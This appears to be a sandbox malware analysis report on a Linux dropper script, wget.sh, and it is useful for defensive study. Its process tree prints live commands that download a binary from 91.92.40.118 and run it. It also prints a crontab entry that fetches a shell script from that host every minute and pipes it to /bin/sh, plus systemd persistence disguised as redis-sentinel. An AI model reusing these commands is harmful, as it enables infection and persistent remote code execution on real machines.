Overview

overview

7

Static

static

1

wget.sh

ubuntu-18.04-amd64

7

wget.sh

debian-9-armhf

7

wget.sh

debian-9-mips

wget.sh

debian-9-mipsel

Analysis

  • max time kernel
    149s
  • max time network
    143s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    08/07/2026, 07:54

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General

  • Target
    wget.sh
  • Size 4KB
  • Sample260708-jr263acy21
  • SHA256 90e72cb310525972af1e9d97cd837d48aaf87a429930b507f56befddff1ff713
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Reads MAC address of network interface 2 TTPs 1 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

    defense_evasiondiscovery
  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wget.sh
    /tmp/wget.sh
    1⤵
    • Executes dropped EXE
    PID:1473
    • /usr/bin/wget
      wget http://91.92.40.118/kworkerd -O /tmp/.k
      2⤵
      • Writes file to tmp directory
      PID:1474
    • /bin/chmod
      chmod 777 /tmp/.k
      2⤵
      • File and Directory Permissions Modification
      PID:1482
    • /tmp/.k
      /tmp/.k
      2⤵
      • Deletes itself
      • Modifies Watchdog functionality
      • Enumerates active TCP sockets
      • Modifies systemd
      • Reads MAC address of network interface
      • Changes its process name
      • Checks CPU configuration
      • Reads system network configuration
      • Enumerates kernel/hardware configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:1483
      • /bin/sh
        sh -c "/bin/systemctl daemon-reload 2>/dev/null"
        3⤵
          PID:1488
          • /bin/systemctl
            /bin/systemctl daemon-reload
            4⤵
              PID:1489
          • /bin/sh
            sh -c "/bin/systemctl enable --now redis-sentinel.service 2>/dev/null"
            3⤵
              PID:1510
              • /bin/systemctl
                /bin/systemctl enable --now redis-sentinel.service
                4⤵
                • Reads runtime system information
                PID:1511
            • /bin/sh
              sh -c "/usr/bin/crontab -l 2>/dev/null"
              3⤵
                PID:1533
                • /usr/bin/crontab
                  /usr/bin/crontab -l
                  4⤵
                    PID:1534
                • /bin/sh
                  sh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 1485 2>/dev/null && exit 0; (wget -qO- http://91.92.40.118/init.sh || curl -sL http://91.92.40.118/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"
                  3⤵
                    PID:1535
                    • /usr/bin/crontab
                      /usr/bin/crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:1536

              Network

                    MITRE ATT&CK Enterprise v16

                    Reconnaissance

                    Resource Development

                    Initial Access

                    Execution

                    Scheduled Task/Job

                    1
                    T1053

                    Cron

                    1
                    T1053.003

                    Persistence

                    Boot or Logon Autostart Execution

                    1
                    T1547

                    XDG Autostart Entries

                    1
                    T1547.013

                    Create or Modify System Process

                    1
                    T1543

                    Systemd Service

                    1
                    T1543.002

                    Scheduled Task/Job

                    1
                    T1053

                    Cron

                    1
                    T1053.003

                    Privilege Escalation

                    Boot or Logon Autostart Execution

                    1
                    T1547

                    XDG Autostart Entries

                    1
                    T1547.013

                    Create or Modify System Process

                    1
                    T1543

                    Systemd Service

                    1
                    T1543.002

                    Scheduled Task/Job

                    1
                    T1053

                    Cron

                    1
                    T1053.003

                    Defense Evasion

                    File and Directory Permissions Modification

                    1
                    T1222

                    Linux and Mac File and Directory Permissions Modification

                    1
                    T1222.002

                    Impair Defenses

                    1
                    T1562

                    Virtualization/Sandbox Evasion

                    1
                    T1497

                    System Checks

                    1
                    T1497.001

                    Credential Access

                    Discovery

                    System Information Discovery

                    1
                    T1082

                    System Network Configuration Discovery

                    2
                    T1016

                    Internet Connection Discovery

                    1
                    T1016.001

                    Wi-Fi Discovery

                    1
                    T1016.002

                    System Network Connections Discovery

                    2
                    T1049

                    Virtualization/Sandbox Evasion

                    1
                    T1497

                    System Checks

                    1
                    T1497.001

                    Lateral Movement

                    Collection

                    Command and Control

                    Exfiltration

                    Impact

                    Replay Monitor

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                    Downloads

                    redis-sentinel.service
                    • Path /etc/systemd/system/redis-sentinel.service
                    • Size 342B
                    • SHA256 233380053ca11cd37fcf70af2aebea67094b7065709aaa1c07e34f13a5686afa
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    .k
                    • Path /tmp/.k
                    • Size 271KB
                    • SHA256 05686c56837324d1bbb9b98c331bd689af81de4a27c52a4d84ace7e25302e111
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    .redis-server.pid
                    • Path /tmp/.redis-server.pid
                    • Size 4B
                    • SHA256 c010bb0f7f8f335ccb2bc4e598eee48be11f87ac60a39a1a1cb4185688857003
                    • MD5 SHA1 SHA512
                    Submit Download

                    tmp.gd8HE3
                    • Path /var/spool/cron/crontabs/tmp.gd8HE3
                    • Size 341B
                    • SHA256 645b046f37068085cce11336d7a2d0679bca1d6c90a908e791971431aef4b60e
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download